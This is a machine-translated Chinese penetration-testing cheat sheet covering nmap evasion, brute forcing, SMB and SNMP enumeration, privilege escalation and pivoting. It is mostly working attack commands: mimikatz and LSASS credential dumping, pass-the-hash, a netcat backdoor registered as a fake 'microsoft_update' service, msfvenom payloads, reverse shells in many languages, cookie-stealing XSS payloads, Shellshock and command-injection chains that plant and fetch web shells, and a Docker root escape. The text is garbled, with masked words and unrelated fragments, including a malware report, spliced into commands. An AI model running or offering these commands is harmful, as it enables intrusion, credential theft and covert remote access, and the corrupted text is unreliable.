更好的 NMAP 扫描战略

# 适用全部巨细 *** 更好的 nmap 扫描战略  # 主机发现，生成存活主机列表 $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24 $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt  # 端口发现，发现大部分常用端口 # http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf $ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt $ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt  # 端口发现，发现悉数端口，但 UDP 端口的扫描会十分慢 $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt  # 显现 TCPUDP 端口 $ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}' $ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'  # 侦测服务版别 $ nmap -sV -T4 -Pn -o下面的剖析针对的是Android上的Chromium稳定版，版别号为：75.0.3770.89。G ServiceDetect -iL LiveHosts.txt  # 扫做系统扫描 $ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt  # 系统和服务检测 $ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt 

Nmap – 逃避防火墙

# 分段 $ nmap -f  # 批改默许 MTU 巨细，但有必要为 8 的倍数(8,16,24,32 等等) $ nmap --mtu 24  # 生成随机数量的诈骗 $ nmap -D RND:10 [target]  # 手动指定诈骗运用的 IP $ nmap -D decoy1,decoy2,decoy3 etc.  # 僵尸 *** 扫描, 首要需求找到僵尸 *** 的IP $ nmap -sI [Zombie IP] [Target IP]  # 指定源端口号 $ nmap --source-port 80 IP  # 在每个扫描数据包后追加随机数量的数据 $ nmap --data-length 25 IP  # MAC 地址诈骗，可以生成不同主机的 MAC 地址 $ nmap --spoof-mac Dell/Apple/3Com IP 

Nmap 进行 Web 缝隙扫描

cd /usr/share/nmap/scripts/ wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target 

运用 DIRB 爆炸目录

注：DIRB 是一个专门用于爆炸目录的东西，在 Kali 中默许现已设备，类似东西还有国外的patator，dirsearch，DirBuster， 国内的御剑等等。

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt 

Patator – 万能暴力破解检验东西

# git clone https://github.com/lanjelot/patator.git /usr/share/patator  #  *** TP 爆炸 $ patator  *** tp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst $ patator  *** tp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator  *** tp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator  *** tp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name' 

运用 Fierce 爆炸 DNS

注：Fierce 会检查 DNS 服务器是否答应区域传送。假设答应，就会进行区域传送并告诉用户，假设不答应，则可以通过查询 DNS 服务器枚举主机名。类似东西：subDomainsBrute 和 SubBrute等等

# http://ha.ckers.org/fierce/ $ ./fierce.pl -dns example.com $ ./fierce.pl –dns example.com –wordlist myWordList.txt 

运用 Nikto 扫描 Web 服务

nikto -C all -h http://IP 

扫描 WordPress

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan ./wpscan –url http://IP/ –enumerate p 

HTTP 指纹辨认

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip cd httprint_301/linux/ ./httprint -h http://IP -s signatures.txt 

运用 Skipfish 扫描

注：Skipfish 是一款 Web 运用安全侦办东西，Skipfish 会运用递归爬虫和根据字典的探针生成一幅交互式网站地图，毕竟生成的地图会在通过安全检查后输出。

skipfish -m 5 - ***  -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP 

运用 NC 扫描

nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done 

Unicornscan

注：Unicornscan 是一个信息搜集和安全审计的东西。

us -H -msf -Iv 192.168.56.101 -p 1-65535 us -H -mU -Iv 192.168.56.101 -p 1-65535  -H 在生成陈述阶段解析主机名 -m 扫描类型 (sf - tcp, U - udp) -Iv - 具体 

运用 Xprobe2 辨认操作系统指纹

xprobe2 -v -p tcp:80:open IP 

枚举 Samba

nmblookup -A target  *** bclient //MOUNT/share -I target -N rpcclient -U "" target enum4linux target 

枚举 SNMP

snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP 

有用的 Windows cmd 指令

net localgroup Users net localgroup Administrators search dir/s *.doc system("start cmd.exe /k $cmd") sc create microsoft_update binpath="cmd /K start c:nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore /c C:nc.exe -e c:windowssystem32cmd.exe -vv 23.92.17.103 7779 mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.ex在2018年夏天，我们发现了ATMDtrack，这是一种针对印度银行的银行恶意软件。我们运用YARA和Kaspersky ATTribution Engine检验发现有关这个ATM恶意软件的更多信息。毕竟，我们发现了间谍东西逾越180种新的恶意软件样本，我们现在将其称为Dtrack。我们开端发现的全部Dtrack样本都是实践投进的样本，因为实践的Payload现已运用各种投进程序进行了加密。根据ATMDtrack和Dtrack内存转储进程中运用的一起序列，我们得以找到它们。在我们解密了毕竟Payload并再次运用Kaspersky Attribution Engine之后，我们可以发现它与DarkSeoul恶意活动的类似之处，该恶意活动可以追溯到2013年，与Lazarus恶意组织相关。现在看来，侵犯者重用了部分老代码来侵犯印度的金融部门和研讨中心。我们的遥测标明，最新的DTrack活动是在2019年9月起检测到的。这是一个很好的比如，可以说明正确的YARA规矩和可靠的Attribution Engine可以帮忙新式恶意软件与已知恶意软件家族之间的关联性。在这种情况下，我们可以在Lazarus恶意组织的兵器库中添加其他一个家族——ATMDtrack和Dtrack。
[1][2][3]黑客接单网
e "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords" C:tempprocdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系统 C:tempprocdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系统 

PuTTY 联接地道

转发长途端口到政策地址 plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP 

Meterpreter 端口转发

# https://www.offensive-security.com/metasploit-unleashed/portfwd/ # 转发长途端口到政策地址 meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141 kali > rdesktop 127.0.0.1:3389 

敞开 RDP 服务

reg add "hklmsystemcurrentcontrolsetcontrolterminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable 

封闭 Windows 防火墙

netsh firewall set opmode disable 

Meterpreter VNCRDP

# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/ run getgui -u admin -p 1234 run vnc -p 5043 

运用 Mimikatz

获取 Windows 明文用户名暗码

git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::l//msfconsoleogonPasswords full 

获取哈希值

git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd  或许  apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP  在或许  meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/ *** b/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set  *** BPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > shell 

运用 Hashcat 破解暗码

hashcat -m 400 -a 0 hash /root/rockyou.txt 

运用 NC 抓取 Banner 信息

nc 192.168.0.10 80 GET / HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/4.0 Referrer: www.example.com <enter> <enter> 

运用 NC 在 Windows 上反弹 shell

c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80  nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000 

查找 SUIDSGID root 文件

# 查找 SUID root 文件 find / -user root -perm -4000 -print  # 查找 SGID root 文件: find / -group root -perm -2000 -print  # 查找

 SUID 和 SGID 文件: find / -perm -4000 -o -perm -2000 -print  # 查找不归于任何用户的文件: find / -nouser -print  # 查找不归于任何用户组的文件: find / -nogroup -print  # 查找软联接及其指向: find / -type l -ls 

Python shell

python -c 'import pty;pty.spawn("/bin/bash")' 

PythonRubyPHP HTTP 服务器

python2 -m SimpleHTTPServer python3 -m http.server ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888,   ocumentRoot => Dir.pwd).start" php -S 0.0.0.0:8888 

获取进程对应的 PID

fuser -nv tcp 80 fuser -k -n tcp 80 

运用 Hydra 爆炸 RDP

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp 

挂载长途 Windows 同享文件夹

 *** bmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw 

Kali 下编译 Exploit

gcc -m32 -o output32 hello.c (32 位) gcc -m64 -o output hello.c (64 位) 

Kali 下编译 Windows Exploit

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe 

NA *** 指令

注：NA *** 全称 The Netwide Assembler，是一款根据80×86和x86-64渠道的汇编语言编译程序，其规划初衷是为了完成编译器程序跨渠道和模块化的特性。

na ***  -f bin -o payload.bin payload.a ***  na ***  -f elf payload.a *** ; ld -o payload payload.o; objdump -d payload 

SSH 穿透

ssh -D 127.0.0.1:1080 -p 22 user@IP Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains commands target 

SSH 穿透从一个 *** 到另一个 ***

ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target 

运用 metasploit 进行穿透

route add X.X.X.X 255.255.255.0 1 use auxiliary/server/socks4a run proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E  或许  # https://www.offensive-security.com/metasploit-unleashed/pivoting/ meterpreter > ipconfig IP Address  : 10.1.13.3 meterpreter > run autoroute -s 10.1.13.0/24 meterpreter > run autoroute -p 10.1.13.0          255.255.255.0      Session 1 meterpreter > Ctrl+Z msf auxiliary(tcp) > use exploit/windows/ *** b/psexec msf exploit(psexec) > set RHOST 10.1.13.2 msf exploit(psexec) > exploit meterpreter > ipconfig IP Address  : 10.1.13.2 

根据 CSV 文件查询 Exploit-DB

git clone https://github.com/offensive-security/exploit-database.git cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit "Linux Kernel"  cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3 

MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "x00" -a x86 --platform win -f c 

MSF 生成在 Linux 下反弹的 Meterpreter Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell 

MSF 生成反弹 Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "x00x0ax0d" -a x86 --platform win -f c 

MSF 生成反弹 Python Shell

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py 

MSF 生成反弹 ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp 

MSF 生成反弹 Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh 

MSF 生成反弹 PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php add <?php at the beginning perl -i~ -0777pe's/^/<?php n/' shell.php 

MSF 生成反弹 Win Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe 

Linux 常用安全指令

# 运用 uid 查找对应的程序 find / -uid 0 -perm -4000  # 查找哪里具有写权限 find / -perm -o=w  # 查找称号中包括点和空格的文件 find / -name " " -print find / -name ".." -print find / -name ". " -print find / -name " " -print  # 查找不归于任何人的文件 find / -nouser  # 查找未链接的文件 lsof +L1  # 获取进程翻开端口的信息 lsof -i  # 看看 ARP 表中是否有古怪的东西 arp -a  # 检查全部账户 getent passwd  # 检查全部用户组 getent group  # 罗列全部用户的 crontabs for user in $(getent passwd|cut -f1 -d:); do echo "程序规划 Crontabs for $user 程序规划#"; crontab -u $user -l; done  # 生成随机暗码 cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4  # 查找全部不行批改的文件 find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’  # 使文件不行批改 chattr -i file 

Windows 缓冲区溢出运用指令

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "x00" -f c  COMMON ***  USED BAD CHARACTERS: x00x0ax0dx20                              For http request x00x0ax0dx20x1ax2cx2e3ax5c           Ending with (0nr_)  # 常用指令: pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )  !pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh  !mona config -set workingfolder C:Mona%p !mona config -get workingfolder !mona mod !mona bytearray -b "x00x0a" !mona pc 5000 !mona po EIP !mona suggest 

SEH – 结构化反常处理

注：SEH(“Structured Exception Handling”)，即结构化反常处理，是 windows 操作系统供应给程序规划者的强有力的处理程序过错或反常的兵器。

# https://en. *** .org/wiki/Microsoft-specific_exception_handling_mechani *** s#SEH # http://baike.baidu.com/view/243131.htm !mona suggest !mona nosafeseh nseh="xebx06x90x90" (next seh chain) iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN) 

ROP (DEP)

注：ROP(“Return-Oriented Programming”)是计算机安全缝隙运用技术，该技术答应侵犯者在安全防护的情况下实行代码，如不行实行的内存和代码签名。

DEP(“Data Execution Prevention”)是一套软硬件技术，在内存上严厉将代码和数据进行区别，避免数据作为代码实行。

# https://en. *** .org/wiki/Return-oriented_programming # https://zh. *** .org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B # https://en. *** .org/wiki/Data_Execution_Prevention # http://baike.baidu.com/item/DEP/7694630 !mona modules !mona ropfunc -m *.dll -cpb "x00x09x0a" !mona rop -m *.dll -cpb "x00x09x0a" (auto suggest) 

ASLR – 地址空间格式随机化

# https://en. *** .org/wiki/Address_space_layout_randomization # http://baike.baidu.com/view/3862310.htm !mona noaslr 

寻蛋(EGG Hunter)技术

Egg hunting这种技术可以被归为“分级shellcode”，它首要可以支撑你用一小段特制的shellcode来找到你的实践的（更大的）shellcode（我们的‘鸡蛋‘），原理便是通过在内存中搜索我们的毕竟shellcode。换句话说，一段短代码先实行，然后再去寻觅真实的shellcode并实行。– 参阅自看雪论坛，更多概况可以查阅我在代码注释中添加的链接。

# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ # http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf # http://www.fuzzysecurity.com/tutorials/expDev/4.html !mona jmp -r esp !mona egg -t lxxl xebxc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t' 

GDB Debugger 常用指令

# 设置断点 break *_start  # 实行下一个指令 next step n s  # 持续实行 continue c  # 数据 checking 'REGISTERS' and 'MEMORY'  # 显现寄存器的值: (Decimal,Binary,Hex) print /d –> Decimal print /t –> Binary print /x –> Hex O/P : (gdb) print /d $eax $17 = 13 (gdb) print /t $eax $18 = 1101 (gdb) print /x $eax $19 = 0xd (gdb)  # 显现特定内存地址的值 command : x/nyz (Examine) n –> Number of fields to display ==> y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal) z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit) 

BASH 反弹 Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1  exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0  0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196  0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196  exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444  cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done  /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1 

PERL 反弹 Shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'  # Win 渠道 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’ 

RUBY 反弹 Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'  # Win 渠道 ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 

PYTHON 反弹 Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

PHP 反弹 Shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");' 

JAVA 反弹 Shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor() 

NETCAT 反弹 Shell

nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443  # 假设 -e 参数被禁用，可以检验以下指令 # mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe /bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/  # 假设你设备错了 netcat 的版别，请检验以下指令 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f 

TELNET 反弹 Shell

# 假设 netcat 不行用或许 /dev/tcp mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe 

XTERM 反弹 Shell

# http://baike.baidu.com/view/418628.htm # 敞开 X 服务器 (:1 – 监听 TCP 端口 6001) apt-get install xnest Xnest :1  # 记住授权来自政策 IP 的联接 xterm -display 127.0.0.1:1  # 授权拜访 xhost +targetip  # 在政策机器上联接回我们的 X 服务器 xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm 

XSS 备忘录

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ("< iframes > src=http://IP:PORT </ iframes >")  <script>document.location=http://IP:PORT</script>  ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>  ";!–"<XSS>=&amp;amp;{()}  <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG """><SCRIPT>alert("XSS")</SCRIPT>""> <IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>  <IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041> <IMG SRC="jav ascript:alert('XSS');">  perl -e 'print "<IMG SRC=javascript:alert("XSS")>";' > out  <BODY onload!#$%&amp;()*~+-_.,:;?@[/|]^`=alert("XSS")>  (">< iframes http://google.com < iframes >)  <BODY BACKGROUND="javascript:alert('XSS')"> <FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET> "><script >alert(document.cookie)</script> %253cscript%253ealert(document.cookie)%253c/script%253e "><s"%2b"cript>alert(document.cookie)</script> %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E <img src=asdf onerror=alert(document.cookie)> 

SSH Over SCTP (运用 Socat)

# 远端服务器 # 假定你预备让 SCTP socket 监听端口 80/SCTP 而且 sshd 端口在 22/TCP $ socat SCTP-LISTEN:80,fork TCP:localhost:22  # 本地端 # 将 SERVER_IP 换成远端服务器的地址，然后将 80 换成 SCTP 监听的端口号 $ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80  # 创立 socks 署理 # 替换 username 和 -p 的端口号 $ ssh -lusername localhost -D 8080 -p 1337 

运用洋葱 ***

# 设备服务 $ apt-get install tor torsocks  # 绑定 ssh 到 tor 服务端口 80 # /etc/tor/torrc SocksPolicy accept 127.0.0.1 SocksPolicy accept 192.168.0.0/16 Log notice file /var/log/tor/notices.log RunAsDaemon 1 HiddenServiceDir /var/lib/tor/ssh_hidden_service/ HiddenServicePort 80 127.0.0.1:22 PublishServerDescriptor 0 $ /etc/init.d/tor start $ cat /var/lib/tor/ssh_hidden_service/hostname 3l5zstvt1zk5jhl662.onion  # ssh 客户端联接 $ apt-get install torsocks $ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80 

Metagoofil – 元数据搜集东西

注：Metagoofil 是一款运用Google搜集信息的东西。

# http://www.edge-security.com/metagoofil.php # 它可以主动在搜素引擎中检索和剖析文件，还具有供应Mac地址，用户名列表等其他功用 $ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html 

运用 Shellshock

# 一个发现并运用服务器 Shellshock 的东西 # https://github.com/nccgroup/shocker $ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose  # 检查文件 $ echo -e "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; echo $(</etc/passwd)rnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80  # 绑定 shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/shrnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80  # 反弹 Shell $ nc -l -p 443 $ echo "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/shrnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80 

获取 Docker 的 Root

# 获取  Docker 的 Root # user 有必要在 docker 用户组中 ek@victum:~/docker-test$ id uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)  ek@victum:~$ mkdir docker-test ek@victum:~$ cd docker-test  ek@victum:~$ cat > Dockerfile FROM debian:wheezy  ENV WORKDIR /stuff  RUN mkdir -p $WORKDIR  VOLUME [ $WORKDIR ]  WORKDIR $WORKDIR << EOF  ek@victum:~$ docker build -t my-docker-image . ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c  'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami # root  ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow' 

运用 DNS 地道绕过防火墙

# 让数据和指令运用 DNS 地道传输以绕过防火墙的检查 # dnscat2 支撑从政策主机上面上传和下载指令来获取文件、数据和程序  # 服务器 (侵犯者) $ apt-get update $ apt-get -y install ruby-dev git make g++ $ gem install bundler $ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/server $ bundle install $ ruby ./dnscat2.rb dnscat2> New session established: 16059 dnscat2> session -i 16059  # 客户机 (政策) # https://downloads.skullsecurity.org/dnscat2/ # https://github.com/lukebaggett/dnscat2-powershell $ dnscat --host <dnscat server_ip> 

编译 Assemble 代码

$ na ***  -f elf32 simple32.a ***  -o simple32.o $ ld -m elf_i386 simple32.o simple32  $ na ***  -f elf64 simple.a ***  -o simple.o $ ld simple.o -o simple 

运用非交互 Shell 打入内网

# 生成 shell 运用的 ssh 密钥 $ wget -O - -q "http://domain.tk/sh.php?cmd=whoami" $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N "" " $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"  # 添加用户 tempuser  $ useradd -m tempuser $ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys $ chmod 700 /home/tempuser/.ssh/authorized_keys $ chown -R tempuser:tempuser /home/tempuser/.ssh  # 反弹 ssh shell $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>" 

运用 POST 长途指令实行获取 Shell

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'  attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'  attacker:~$ curl http://victum.tk/shell.php?cmd=id  # 在服务器上下载 shell (phpshell.php)  http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27  # 工作 nc 并实行 phpshell.php attacker:~$ nc -nvlp 1337 

以处理员身份在 Win7 上反弹具有系统权限的 Shell

